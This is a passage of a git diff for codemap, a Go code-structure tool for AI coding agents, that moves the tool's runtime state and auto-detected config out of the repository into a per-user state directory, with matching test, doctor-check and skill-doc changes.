diff --git a/.claude/skills/codemap/SKILL.md b/.claude/skills/codemap/SKILL.md index 054a99e7..9beef5f8 100644 --- a/.claude/skills/codemap/SKILL.md +++ b/.claude/skills/codemap/SKILL.md @@ -36,7 +36,7 @@ codemap serve --port 9471 # HTTP API for non-MCP integrations Before deeper Codemap analysis in a repo: -1. Check `.codemap/config.json`. +1. Check `.codemap/config.json`. A repo with no `.codemap/` folder was never set up: leave it that way unless the user asks (codemap keeps its state outside the repo). 2. If it is missing, clearly boilerplate, or obviously too noisy for the stack, run `codemap skill show config-setup` and follow it. 3. After writing or improving config, rerun `codemap .` and `codemap --deps`. @@ -107,6 +107,9 @@ Skills matched: hub-safety, refactor - run `codemap skill show ` for guida - **Intent categories**: refactor, bugfix, feature, explore, test, docs - **Risk levels**: low (no hubs), medium (1 hub), high (2+ hubs or 8+ importers) - **Skills are pull-based**: only names are shown, run `codemap skill show` for full body +- **Suggestions** print only for a named file with dependency evidence; otherwise the marker has `"suggestions":[]` + +The edit hooks print hub facts only (hub warning, dependents, `Imported by N`, `Imports N hub(s)`) and stay silent for files outside the project. A subagent gets the top-level directories and the hub list at start, since it never sees the session-start tree. ## Builtin Skills diff --git a/.claude/skills/config-setup/SKILL.md b/.claude/skills/config-setup/SKILL.md index 1f2f12af..55e0550b 100644 --- a/.claude/skills/config-setup/SKILL.md +++ b/.claude/skills/config-setup/SKILL.md @@ -9,7 +9,7 @@ description: Set up or tune .codemap/config.json so Codemap focuses on code-rele A score of 100 means a hook found the config missing, empty, malformed, or boilerplate. Fix it first; it takes under a minute and every later Codemap answer depends on it. -1. Run `codemap config show` to see the current state. If it says missing, run `codemap config init` (most commands now do this for you). +1. Run `codemap config show` to see the current state. If it says missing, codemap is running on auto-detected filters kept outside the repo; run `codemap config init` to write a committable `.codemap/config.json`. 2. Write or tune `.codemap/config.json` using the workflow below: keep source extensions in `only`, add `exclude` for real noise, set `depth` if the tree is wide. 3. Rerun `codemap .` and confirm the tree is dominated by source, not assets. 4. Verify one known cross-file dependency still resolves with `codemap --importers `. @@ -22,7 +22,7 @@ Write or improve `.codemap/config.json` so future Codemap calls stay focused on ## Use this when -1. `.codemap/config.json` is missing +1. `.codemap/config.json` is missing in a repo the user has set up (`.codemap/` exists), or the user asked to set codemap up. Never create `.codemap/` in a repo the user has not asked to set up. 2. The existing config looks like a bare bootstrap instead of a real project policy 3. Codemap output is dominated by assets, fixtures, generated files, vendor trees, PDFs, screenshots, models, or training data 4. The project stack is obvious, but Codemap is not prioritizing the right parts of the repo diff --git a/.claude/skills/handoff/SKILL.md b/.claude/skills/handoff/SKILL.md index 1ecc2074..5a34d2ff 100644 --- a/.claude/skills/handoff/SKILL.md +++ b/.claude/skills/handoff/SKILL.md @@ -40,9 +40,11 @@ The prefix file count and size-based handoff budgets honor the active ## Artifacts written +In the per-user state dir, never in the repo; `codemap doctor` prints its path on the `state dir:` line. + | File | Content | |------|---------| -| `.codemap/handoff.latest.json` | Full artifact (all layers) | -| `.codemap/handoff.prefix.json` | Stable prefix snapshot | -| `.codemap/handoff.delta.json` | Dynamic delta snapshot | -| `.codemap/handoff.metrics.log` | Append-only metrics stream | +| `handoff.latest.json` | Full artifact (all layers) | +| `handoff.prefix.json` | Stable prefix snapshot | +| `handoff.delta.json` | Dynamic delta snapshot | +| `handoff.metrics.log` | Append-only metrics stream | diff --git a/CLAUDE.md b/CLAUDE.md index 7134d9b6..e14e329e 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -30,7 +30,7 @@ Treat codemap as part of the execution loop, not as optional reference material: - Before editing any file: `codemap --importers ` - Before refactors, moves, or dependency-heavy changes: `codemap --deps` - Before summarizing, reviewing, or committing: `codemap --diff` -- If a codemap hook prints `Next codemap:` or `Run now:`, do that before continuing +- If a codemap hook warns that a file is a hub, read its dependents list before editing Use `rg` for exact string lookup after codemap has established structure or blast radius. diff --git a/blast_radius.go b/blast_radius.go index a22e359e..7ff13705 100644 --- a/blast_radius.go +++ b/blast_radius.go @@ -443,7 +443,7 @@ func buildBlastRadiusBundle(absRoot, ref string, limits blastRadiusLimits) (blas return blastRadiusBundle{}, &blastRadiusDiffError{ref: ref, err: err} } - cmd.EnsureProjectConfig(absRoot) + cmd.EnsureAutoConfig(absRoot) cfg := config.Load(absRoot) filters := scanner.Filters{Only: cfg.Only, Exclude: cfg.Exclude, MaxFiles: cfg.MaxFiles} gitCache := scanner.NewGitIgnoreCache(absRoot) diff --git a/cmd/agent_edits.go b/cmd/agent_edits.go index 962e4b35..843d9fd0 100644 --- a/cmd/agent_edits.go +++ b/cmd/agent_edits.go @@ -9,7 +9,8 @@ import ( "strings" "time" - "codemap/internal/gitexclude" + "codemap/internal/projectpath" + "codemap/internal/runtimefile" ) // The watch daemon sees every write on disk — including git merges, checkouts, @@ -34,8 +35,14 @@ type agentEdits struct { bySession map[string]map[string]bool // session id -> paths } +// agentEditsPath is agent_edits.jsonl in the project's state dir; "" when +// there is no usable state dir. func agentEditsPath(root string) string { - return filepath.Join(root, ".codemap", agentEditsFile) + selection, err := projectpath.SelectRuntime(root) + if err != nil { + return "" + } + return filepath.Join(selection.RuntimeDir, agentEditsFile) } // normalizeAgentEditPath converts hook-provided paths (often absolute, with @@ -56,8 +63,12 @@ func recordAgentEdit(root, sessionID, path string, now time.Time) error { if strings.TrimSpace(path) == "" { return nil } - if err := gitexclude.MkdirAll(filepath.Join(root, ".codemap"), 0o755); err != nil { - return err + if _, inRoot := projectRelPath(root, path); !inRoot { + return nil + } + logPath := agentEditsPath(root) + if logPath == "" { + return nil } record := agentEditRecord{ Path: normalizeAgentEditPath(root, path), @@ -68,9 +79,8 @@ func recordAgentEdit(root, sessionID, path string, now time.Time) error { if err != nil { return err } - logPath := agentEditsPath(root) compactAgentEdits(logPath, now) - f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) + f, err := runtimefile.OpenAppend(logPath, 0o600) if err != nil { return err } @@ -89,7 +99,7 @@ func compactAgentEdits(logPath string, now time.Time) { if err != nil || info.Size() <= agentEditsMaxBytes { return } - data, err := os.ReadFile(logPath) + data, err := runtimefile.Read(logPath) if err != nil { return } @@ -107,7 +117,7 @@ func compactAgentEdits(logPath string, now time.Time) { kept.Write(scanner.Bytes()) kept.WriteByte('\n') } - _ = writeFileAtomic(logPath, kept.Bytes(), 0o644) + _ = runtimefile.WriteAtomic(logPath, kept.Bytes(), 0o600) } // loadAgentEdits reads records at or after `since`. Missing or malformed logs @@ -117,7 +127,7 @@ func loadAgentEdits(root string, since time.Time) agentEdits { paths: make(map[string]bool), bySession: make(map[string]map[string]bool), } - data, err := os.ReadFile(agentEditsPath(root)) + data, err := runtimefile.Read(agentEditsPath(root)) if err != nil { return edits } diff --git a/cmd/config.go b/cmd/config.go index a80448ad..04d4109b 100644 --- a/cmd/config.go +++ b/cmd/config.go @@ -1,18 +1,20 @@ package cmd import ( + "bytes" "context" "encoding/json" "errors" "fmt" "os" + "os/exec" "path/filepath" "sort" "strings" "codemap/config" - "codemap/internal/gitexclude" "codemap/internal/projectpath" + "codemap/internal/runtimefile" "codemap/scanner" ) @@ -85,35 +87,124 @@ func detectNoise(files []scanner.FileInfo) []string { return out } -// EnsureProjectConfig writes an auto-detected .codemap/config.json when none -// exists and root is a git checkout. Every analysis entry point calls this so -// a repo never stays in the "missing" state past its first codemap command. -// Write failures (read-only checkout) are silent: the caller still runs. -func EnsureProjectConfig(root string) bool { - if _, err := os.Stat(config.ConfigPath(root)); err == nil { +// AutoConfigActive reports whether root, a git checkout, has no +// .codemap/config.json and so runs on the auto-detected config. +func AutoConfigActive(root string) bool { + if _, err := os.Stat(config.ConfigPath(root)); !os.IsNotExist(err) { return false } - if _, err := os.Stat(filepath.Join(root, ".git")); err != nil { + _, err := os.Stat(filepath.Join(root, ".git")) + return err == nil +} + +// EnsureAutoConfig stores an auto-detected config in the project's state dir +// (config.AutoConfigPath) when it is missing or unreadable, so a repo that +// never ran setup still gets `only` filters (a few Go files among thousands +// of data files stay under the large-repo cutoff). It scans, so hooks never +// call it; the tree keeps the stored copy current through RefreshAutoConfig. +// `codemap config init` is the explicit, committable path. It never writes +// inside the repo, and failures are silent. It reports whether it wrote. +func EnsureAutoConfig(root string) bool { + path := config.AutoConfigPath(root) + if !AutoConfigActive(root) || path == "" { return false } - result, err := initProjectConfig(root) + if data, err := runtimefile.Read(path); err == nil && json.Valid(data) { + return false + } + cfg, err := detectProjectConfig(root, &configInitResult{}) + if err != nil { + return false + } + return writeAutoConfig(root, cfg) +} + +// writeAutoConfig stores cfg as root's auto config when it differs from the +// stored copy, creating the state dir only now that there is something to +// write. +func writeAutoConfig(root string, cfg config.ProjectConfig) bool { + dir, err := projectpath.CheckedRuntimeCodemapDir(root) if err != nil { return false } - // The auto-write just created .codemap/ in a checkout that never asked - // for it, so keep it out of `git status` (issue #184): the rule goes to - // the clone-local info/exclude, never a tracked .gitignore, and only - // when no existing rule already ignores the directory. - excludeFile, _ := gitexclude.EnsureIgnoredIfNeeded(filepath.Dir(filepath.Dir(result.Path))) - // Only a person at a terminal needs the notice; piped consumers that - // merge stderr into a JSON stream must not see it. - if info, err := os.Stderr.Stat(); err == nil && info.Mode()&os.ModeCharDevice != 0 { - fmt.Fprintln(os.Stderr, "codemap: wrote .codemap/config.json (auto-detected); tune with: codemap skill show config-setup") - if excludeFile != "" { - fmt.Fprintf(os.Stderr, "codemap: added %s to %s so git status stays clean; verify with: git check-ignore -v .codemap\n", gitexclude.Entry, excludeFile) + path := filepath.Join(dir, config.AutoConfigFile) + data := encodeConfig(cfg) + if stored, err := runtimefile.Read(path); err == nil && bytes.Equal(stored, data) { + return false + } + return runtimefile.WriteAtomic(path, data, 0o600) == nil +} + +// RefreshAutoConfig keeps root's stored auto config in step with its file +// mix and returns the listing it used. The mix comes from git's file list, +// which is unbounded and far cheaper than a walk, so a repo over the scan +// bound never derives filters from a truncated sample. Without git the stored +// copy stays as it is (EnsureAutoConfig fills a missing one) and the listing +// is nil. +func RefreshAutoConfig(root string) []scanner.FileInfo { + if !AutoConfigActive(root) { + return nil + } + files, err := gitListedFiles(root) + if err != nil { + EnsureAutoConfig(root) + return nil + } + writeAutoConfig(root, configFromFiles(files, &configInitResult{})) + return files +} + +// gitListedFiles is every tracked or unignored untracked file under root, +// minus the directories the scanner never enters. +func gitListedFiles(root string) ([]scanner.FileInfo, error) { + cmd := exec.Command("git", "ls-files", "-z", "--cached", "--others", "--exclude-standard") + cmd.Dir = root + out, err := cmd.Output() + if err != nil { + return nil, err + } + var files []scanner.FileInfo + for _, path := range strings.Split(string(out), "\x00") { + if path == "" || inIgnoredDir(path) { + continue + } + files = append(files, scanner.FileInfo{Path: path, Ext: filepath.Ext(path)}) + } + return files, nil +} + +func inIgnoredDir(path string) bool { + parts := strings.Split(path, "/") + for _, dir := range parts[:len(parts)-1] { + if scanner.IgnoredDirs[dir] { + return true + } + } + return false +} + +// AutoFilterNote names the auto filter in one line, so it is never silent, +// but only when it hides at least one of files (a Go-only repo filtered to +// Go hides nothing and gets no note). +func AutoFilterNote(cfg config.ProjectConfig, files []scanner.FileInfo) string { + hides := false + for _, f := range files { + if !scanner.MatchesFilters(f.Path, f.Ext, cfg.Only, cfg.Exclude) { + hides = true + break } } - return true + if !hides { + return "" + } + note := "auto filter:" + if len(cfg.Only) > 0 { + note += " only " + strings.Join(cfg.Only, ",") + } + if len(cfg.Exclude) > 0 { + note += " exclude " + strings.Join(cfg.Exclude, ",") + } + return note + "; codemap config show" } // nonCodeExtensions are extensions excluded from "config init" auto-detection. @@ -204,13 +295,41 @@ func initProjectConfig(root string) (configInitResult, error) { if primary, ok := sharedConfigPrimary(root); ok { return result, fmt.Errorf("%s is a linked worktree; its config lives in the primary checkout, run `codemap config init` in %s", root, primary) } + cfg, err := detectProjectConfig(root, &result) + if err != nil { + return result, err + } + if err := os.MkdirAll(filepath.Dir(cfgPath), 0755); err != nil { + return result, fmt.Errorf("create .codemap directory: %w", err) + } + if err := os.WriteFile(cfgPath, encodeConfig(cfg), 0644); err != nil { + return result, fmt.Errorf("write config: %w", err) + } + return result, nil +} + +func encodeConfig(cfg config.ProjectConfig) []byte { + data, _ := json.MarshalIndent(cfg, "", " ") // a plain struct always encodes + return append(data, '\n') +} + +// scanForConfig is the full scan config detection runs; tests count it. +var scanForConfig = func(root string) ([]scanner.FileInfo, error) { + return scanner.ScanFiles(context.Background(), root, scanner.NewGitIgnoreCache(root), nil, nil) +} - gitCache := scanner.NewGitIgnoreCache(root) - files, err := scanner.ScanFiles(context.Background(), root, gitCache, nil, nil) +// detectProjectConfig picks `only` and `exclude` from the files under root +// and fills result's counts; it writes nothing. +func detectProjectConfig(root string, result *configInitResult) (config.ProjectConfig, error) { + files, err := scanForConfig(root) if err != nil { - return result, fmt.Errorf("scan files: %w", err) + return config.ProjectConfig{}, fmt.Errorf("scan files: %w", err) } + return configFromFiles(files, result), nil +} +// configFromFiles derives the auto config from an unfiltered file list. +func configFromFiles(files []scanner.FileInfo, result *configInitResult) config.ProjectConfig { extCount := make(map[string]int) for _, f := range files { ext := strings.TrimPrefix(strings.ToLower(f.Ext), ".") @@ -249,20 +368,6 @@ func initProjectConfig(root string) (configInitResult, error) { result.Exclude = detectNoise(files) cfg := config.ProjectConfig{Only: result.TopExts, Exclude: result.Exclude, Mode: "auto"} - if err := os.MkdirAll(filepath.Dir(cfgPath), 0755); err != nil { - return result, fmt.Errorf("create .codemap directory: %w", err) - } - - data, err := json.MarshalIndent(cfg, "", " ") - if err != nil { - return result, fmt.Errorf("encode config: %w", err) - } - data = append(data, '\n') - - if err := os.WriteFile(cfgPath, data, 0644); err != nil { - return result, fmt.Errorf("write config: %w", err) - } - result.TotalFiles = len(files) if len(result.TopExts) > 0 { matchExts := make(map[string]bool, len(result.TopExts)) @@ -276,8 +381,7 @@ func initProjectConfig(root string) (configInitResult, error) { } } } - - return result, nil + return cfg } func configShow(root string) { @@ -286,6 +390,11 @@ func configShow(root string) { switch assessment.State { case config.SetupStateMissing: fmt.Println("No config file found.") + if auto := config.AutoConfigPath(root); auto != "" { + if _, err := os.Stat(auto); err == nil { + fmt.Printf("Using auto-detected filters from %s (not committed; computed once)\n", auto) + } + } if primary, ok := sharedConfigPrimary(root); ok { fmt.Printf("Run 'codemap config init' in the primary checkout %s to create %s\n", primary, cfgPath) return diff --git a/cmd/config_more_test.go b/cmd/config_more_test.go index 1dfa74b9..a053722a 100644 --- a/cmd/config_more_test.go +++ b/cmd/config_more_test.go @@ -7,12 +7,15 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "slices" "strconv" "strings" "testing" + "time" "codemap/config" + "codemap/scanner" ) func TestInitProjectConfigCreatesAutoDetectedConfig(t *testing.T) { @@ -203,38 +206,135 @@ func TestInitProjectConfigExcludesPresentNoise(t *testing.T) { } } -func TestEnsureProjectConfigWritesOnlyInsideRepos(t *testing.T) { +// TestEnsureAutoConfigStaysOutOfTheRepo: the auto-detected config lives in +// the state dir, is computed once, recomputed when unreadable, loses to an +// in-repo config, and is never written outside a git checkout. +func TestEnsureAutoConfigStaysOutOfTheRepo(t *testing.T) { repo := t.TempDir() if err := os.Mkdir(filepath.Join(repo, ".git"), 0o755); err != nil { t.Fatal(err) } mustWriteConfigFixture(t, filepath.Join(repo, "main.go"), "package main\n") - if !EnsureProjectConfig(repo) { - t.Fatal("expected config to be written in a repo") + if !EnsureAutoConfig(repo) { + t.Fatal("expected an auto config for a repo without config.json") } - if _, err := os.Stat(config.ConfigPath(repo)); err != nil { - t.Fatalf("config not written: %v", err) + if _, err := os.Stat(filepath.Join(repo, ".codemap")); !os.IsNotExist(err) { + t.Fatalf(".codemap created by the auto config: %v", err) } - if EnsureProjectConfig(repo) { - t.Fatal("second call must not rewrite an existing config") + auto := config.AutoConfigPath(repo) + info, err := os.Stat(auto) + if err != nil { + t.Fatalf("auto config %s: %v", auto, err) + } + // Windows has no Unix permission bits; the 0600 check is Unix-only. + if runtime.GOOS != "windows" && info.Mode().Perm() != 0o600 { + t.Fatalf("auto config %s mode %v; want 0600", auto, info.Mode().Perm()) + } + if got := strings.Join(config.Load(repo).Only, ","); got != "go" { + t.Fatalf("Load().Only = %q, want go from the auto config", got) + } + if EnsureAutoConfig(repo) { + t.Fatal("second call must not recompute a readable auto config") + } + if err := os.WriteFile(auto, []byte("{not json"), 0o600); err != nil { + t.Fatal(err) + } + if !EnsureAutoConfig(repo) { + t.Fatal("an unreadable auto config must be recomputed") + } + + mustWriteConfigFixture(t, config.ConfigPath(repo), `{"only":["md"]}`) + if EnsureAutoConfig(repo) { + t.Fatal("an in-repo config.json must stop the auto config") + } + if got := strings.Join(config.Load(repo).Only, ","); got != "md" { + t.Fatalf("Load().Only = %q, want the in-repo config to win", got) } plain := t.TempDir() mustWriteConfigFixture(t, filepath.Join(plain, "main.go"), "package main\n") - if EnsureProjectConfig(plain) { - t.Fatal("must not write config outside a repo") + if EnsureAutoConfig(plain) { + t.Fatal("must not compute a config outside a repo") + } +} + +// Hooks never run a scan to compute the auto config: with none stored they +// use defaults, and the tree the session-start subprocess runs stores it. +func TestHooksNeverScanForTheAutoConfig(t *testing.T) { + root := makeRepoOnBranch(t, "main") + mustWriteConfigFixture(t, filepath.Join(root, "main.go"), "package main\n") + scans := 0 + orig := scanForConfig + t.Cleanup(func() { scanForConfig = orig }) + scanForConfig = func(root string) ([]scanner.FileInfo, error) { scans++; return orig(root) } + withHookRuntimeStubs(t, func() (string, error) { return "", errors.New("no subprocess in this test") }, nil, func(string) bool { return true }, func(time.Duration) {}) + + edit := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}` + for _, step := range []struct{ hook, stdin string }{ + {"session-start", `{"session_id":"s"}`}, + {"prompt-submit", `{"session_id":"s","prompt":"fix main.go"}`}, + {"pre-edit", edit}, + {"post-edit", edit}, + {"pre-compact", `{"session_id":"s"}`}, + {"session-stop", `{"session_id":"s"}`}, + } { + withStdinInput(t, step.stdin, func() { captureOutput(func() { _ = RunHook(step.hook, root) }) }) + } + if scans != 0 { + t.Fatalf("hooks ran %d config scan(s)", scans) + } + if _, err := os.Stat(config.AutoConfigPath(root)); !os.IsNotExist(err) { + t.Fatalf("a hook stored an auto config: %v", err) + } +} + +// The tree re-derives the auto config from its own scan, so a repo that +// gained Go files after a Python-only start shows them on the next tree. +func TestRefreshAutoConfigFollowsTheFileMix(t *testing.T) { + if _, err := exec.LookPath("git"); err != nil { + t.Skip("git not available") + } + root := t.TempDir() + runGitTestCmd(t, root, "init", "-q") + mustWriteConfigFixture(t, filepath.Join(root, "tool.py"), "print(1)\n") + listed := RefreshAutoConfig(root) + if got := strings.Join(config.Load(root).Only, ","); got != "py" { + t.Fatalf("only = %q, want py", got) + } + if note := AutoFilterNote(config.Load(root), listed); note != "" { + t.Fatalf("a filter that hides nothing printed %q", note) + } + mustWriteConfigFixture(t, filepath.Join(root, "pkg", "a.go"), "package pkg\n") + mustWriteConfigFixture(t, filepath.Join(root, "pkg", "b.go"), "package pkg\n") + mustWriteConfigFixture(t, filepath.Join(root, "README.md"), "# r\n") + listed = RefreshAutoConfig(root) + if got := config.Load(root).Only; !slices.Contains(got, "go") { + t.Fatalf("stored only = %v, want go added", got) + } + if note := AutoFilterNote(config.Load(root), listed); !strings.HasPrefix(note, "auto filter: only go,py") { + t.Fatalf("note = %q", note) } - if _, err := os.Stat(config.ConfigPath(plain)); !os.IsNotExist(err) { - t.Fatalf("config unexpectedly present in non-repo: %v", err) +} + +// Without git the stored auto config is kept, never re-derived from a walk. +func TestRefreshAutoConfigWithoutGitKeepsTheStoredCopy(t *testing.T) { + root := t.TempDir() + mustWriteConfigFixture(t, filepath.Join(root, ".git", "HEAD"), "garbage") + mustWriteConfigFixture(t, filepath.Join(root, "a.py"), "x = 1\n") + if !writeAutoConfig(root, config.ProjectConfig{Only: []string{"go"}, Mode: "auto"}) { + t.Fatal("could not store the auto config") + } + if listed := RefreshAutoConfig(root); listed != nil { + t.Fatalf("listed %d files from a broken git dir", len(listed)) + } + if got := strings.Join(config.Load(root).Only, ","); got != "go" { + t.Fatalf("stored only = %q, want go kept", got) } } -// TestEnsureProjectConfigKeepsFreshCloneClean is the exit test from issue -// #184: a fresh clone of a repo with no codemap config, one codemap command, -// and `git status --porcelain` is empty. The auto-written config lands in -// .codemap/, which the auto-init must ignore via the clone-local -// info/exclude, never by creating or editing a tracked .gitignore. -func TestEnsureProjectConfigKeepsFreshCloneClean(t *testing.T) { +// TestEnsureAutoConfigKeepsFreshCloneClean: the auto config leaves a fresh +// clone with nothing new, not even ignored files. +func TestEnsureAutoConfigKeepsFreshCloneClean(t *testing.T) { if _, err := exec.LookPath("git"); err != nil { t.Skip("git not available") } @@ -242,26 +342,17 @@ func TestEnsureProjectConfigKeepsFreshCloneClean(t *testing.T) { clone := filepath.Join(t.TempDir(), "clone") runGitTestCmd(t, src, "clone", "-q", src, clone) - if !EnsureProjectConfig(clone) { - t.Fatal("expected config to be written in a fresh clone") - } - if _, err := os.Stat(config.ConfigPath(clone)); err != nil { - t.Fatalf("config not written: %v", err) + if !EnsureAutoConfig(clone) { + t.Fatal("expected an auto config in a fresh clone") } - status := exec.Command("git", "status", "--porcelain") + status := exec.Command("git", "status", "--porcelain", "--ignored", "--untracked-files=all") status.Dir = clone out, err := status.Output() if err != nil { t.Fatal(err) } - if strings.TrimSpace(string(out)) != "" { - t.Fatalf("git status --porcelain not empty after auto-init:\n%s", out) - } - if _, err := os.Stat(filepath.Join(clone, ".gitignore")); !os.IsNotExist(err) { - t.Fatal("auto-init must not create a tracked .gitignore") - } - if !gitIgnoresCodemap(t, clone) { - t.Fatal("git does not ignore .codemap after auto-init") + if got := strings.TrimSpace(string(out)); got != "" { + t.Fatalf("git status after the auto config = %q, want clean", got) } } diff --git a/cmd/doctor.go b/cmd/doctor.go index ebb1fece..249a4647 100644 --- a/cmd/doctor.go +++ b/cmd/doctor.go @@ -17,6 +17,7 @@ import ( "codemap/config" "codemap/internal/buildinfo" "codemap/internal/gitexclude" + "codemap/internal/projectpath" "github.com/modelcontextprotocol/go-sdk/mcp" "github.com/pelletier/go-toml/v2" @@ -190,47 +191,58 @@ func RunDoctor(args []string, defaultRoot string) int { return 0 } -// doctorCheckLocalCodemapIgnore verifies .codemap/ is ignored in this working -// tree. Git's check-ignore reflects the rules that actually apply, so it is -// the authority: report OK when the directory is ignored and MISS only when -// it genuinely is not, naming the local exclude and a minimal repair hint. +// doctorCheckLocalCodemapIgnore names the per-user state dir, then verifies +// anything but config and skills under an in-repo .codemap/ is ignored. Git's +// check-ignore reflects the rules that actually apply, so it is the authority. func doctorCheckLocalCodemapIgnore(root string, failures *int) { - ignored, mechanism, err := gitCheckIgnoreVerbose(root, ignoreEntry) - if err != nil { - fmt.Printf("MISS local Codemap ignore: %v\n", err) + if dir := projectpath.ProjectRuntimeDir(root); dir != "" { + fmt.Printf("OK state dir: %s (handoff, hubs, agent edits, daemon state, auto-detected config)\n", dir) + } else { + _, err := projectpath.CheckedRuntimeCodemapDir(root) + fmt.Printf("MISS state dir: %v; codemap runs without saved state\n", err) *failures++ - return } - if ignored { - fmt.Printf("OK local Codemap ignore: effective via %s\n", mechanism) + if !projectpath.IsSetUp(root) { return } - path, _, err := localCodemapIgnore(root) + // A path no codemap writes: check-ignore reports tracked files as not ignored. + ignored, mechanism, err := gitCheckIgnoreVerbose(root, ".codemap/machine-state-probe") if err != nil { fmt.Printf("MISS local Codemap ignore: %v\n", err) *failures++ return } - fmt.Printf("MISS local Codemap ignore: %s does not ignore %s; repair with `codemap setup --no-hooks --no-mcp --no-skills --no-config %s`\n", path, ignoreEntry, root) + if ignored { + fmt.Printf("OK local Codemap ignore: machine state ignored via %s\n", mechanism) + return + } + fmt.Printf("MISS local Codemap ignore: machine state under .codemap/ is not ignored; repair with `codemap setup --no-hooks --no-mcp --no-skills --no-config %s` (writes .codemap/.gitignore)\n", root) *failures++ } -// doctorCheckTrackedCodemapState reports .codemap/ files git already tracks -// (`git ls-files .codemap`): an ignore rule cannot hide those, so they show -// up in every diff until they are removed from the index. +// doctorCheckTrackedCodemapState reports machine-state files git already +// tracks under .codemap/: an ignore rule cannot hide those, so they show up +// in every diff until they are removed from the index. config.json and +// skills/ are meant to be committed and are not reported. func doctorCheckTrackedCodemapState(root string, failures *int) { - tracked, err := gitexclude.TrackedStateFiles(root) - if err != nil { + if _, err := gitexclude.TrackedStateFiles(root); err != nil { fmt.Printf("MISS tracked codemap state: %v\n", err) *failures++ return } - if len(tracked) > 0 { - fmt.Printf("MISS tracked codemap state: %d file(s) under .codemap/ are committed; run: git rm -r --cached .codemap\n", len(tracked)) + if tracked := trackedMachineState(root); len(tracked) > 0 { + fmt.Printf("MISS tracked codemap state: %d machine-state file(s) under .codemap/ are committed:\n%s", len(tracked), trackedStateDetail(tracked)) *failures++ - return + } else { + fmt.Println("OK tracked codemap state: no machine-state files under .codemap/ are committed (git ls-files .codemap)") + } + left, unknown := leftoverMachineState(root) + if len(left) > 0 { + fmt.Printf("NOTE leftover codemap state: %d file(s) under .codemap/ from an older codemap are no longer used and are safe to delete:\n%s", len(left), nameList(left)) + } + if len(unknown) > 0 { + fmt.Printf("NOTE unrecognised files in .codemap/ (not touched by codemap): %d\n%s", len(unknown), nameList(unknown)) } - fmt.Println("OK tracked codemap state: 0 files under .codemap/ are committed (git ls-files .codemap)") } func reportCodexRuntimeVersions(cliPath string) bool { diff --git a/cmd/doctor_scope_test.go b/cmd/doctor_scope_test.go index 3f91cad5..54e8d1fb 100644 --- a/cmd/doctor_scope_test.go +++ b/cmd/doctor_scope_test.go @@ -162,6 +162,7 @@ func TestRunDoctorFallsBackToUserScopeHooks(t *testing.T) { root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath originalRecommended := recommendedClaudeHooks @@ -205,6 +206,7 @@ func TestRunDoctorFindsLocalScopedClaudeMCP(t *testing.T) { root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath originalVersionProbe := doctorVersionProbe @@ -266,6 +268,7 @@ func TestRunDoctorReportsMisconfiguredScopeOverAbsentOne(t *testing.T) { root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath t.Cleanup(func() { doctorLookPath = originalLook }) @@ -322,6 +325,7 @@ func TestRunDoctorGlobalFlagChecksOnlyUserScope(t *testing.T) { root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath originalRecommended := recommendedClaudeHooks diff --git a/cmd/doctor_shadow_test.go b/cmd/doctor_shadow_test.go index 202826ff..65dce5b0 100644 --- a/cmd/doctor_shadow_test.go +++ b/cmd/doctor_shadow_test.go @@ -17,6 +17,7 @@ func TestRunDoctorReportsBrokenLocalMCPThatShadowsHealthyUserScope(t *testing.T) root := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) originalLook := doctorLookPath originalVersionProbe := doctorVersionProbe diff --git a/cmd/doctor_test.go b/cmd/doctor_test.go index cf2e781d..ee0db789 100644 --- a/cmd/doctor_test.go +++ b/cmd/doctor_test.go @@ -15,6 +15,7 @@ func TestRunDoctorUsesNearestGitRootFromNestedDirectory(t *testing.T) { root, home := t.TempDir(), t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) prevCodex := runCodexPluginCommand runCodexPluginCommand = func(string, ...string) ([]byte, error) { return nil, os.ErrNotExist } t.Cleanup(func() { runCodexPluginCommand = prevCodex }) diff --git a/cmd/gitignore.go b/cmd/gitignore.go index 0859ebf1..e18bc341 100644 --- a/cmd/gitignore.go +++ b/cmd/gitignore.go @@ -3,45 +3,164 @@ package cmd import ( "fmt" "io" + "os" "path/filepath" + "regexp" "strings" "codemap/internal/gitexclude" + "codemap/internal/projectpath" ) // ignoreEntry keeps the runtime-state directory out of git. The trailing // slash scopes the rule to the directory. const ignoreEntry = gitexclude.Entry -// reportEnsureIgnored ensures .codemap/ is ignored for root and reports the -// outcome to w (notice, warning, or nothing). +// reportEnsureIgnored ensures the project's .codemap/ carries its own +// .gitignore (it hides machine state older versions left there; config.json +// and skills/ stay committable) and reports the outcome to w. Only setup, +// config init and skill init call it. func reportEnsureIgnored(w io.Writer, root string) { - wrote, err := ensureCodemapIgnored(root) - if err != nil { - fmt.Fprintf(w, "Warning: could not update ignore rules: %v\n", err) + dir := projectpath.CodemapDir(root) + if _, err := os.Stat(dir); err != nil { return } - if wrote == "" { + wrote, err := gitexclude.EnsureStateIgnore(dir) + if err != nil { + fmt.Fprintf(w, "Warning: could not write %s: %v\n", filepath.Join(dir, ".gitignore"), err) return } - rel := wrote - if r, relErr := filepath.Rel(root, wrote); relErr == nil && !strings.HasPrefix(r, "..") { - rel = r + if wrote { + fmt.Fprintln(w, "Wrote .codemap/.gitignore (config.json and skills/ can be committed; anything else there is ignored)") + } + reportLegacyState(w, root) +} + +// reportLegacyState names machine state older versions left under .codemap/: +// files git tracks (an ignore rule cannot untrack them) with the command that +// would, then untracked leftovers, which nothing reads any more. It prints +// only; it never runs git rm or deletes anything. +func reportLegacyState(w io.Writer, root string) { + if tracked := trackedMachineState(root); len(tracked) > 0 { + fmt.Fprintf(w, "%d codemap machine-state file(s) are committed:\n%s", len(tracked), trackedStateDetail(tracked)) + } + left, unknown := leftoverMachineState(root) + if 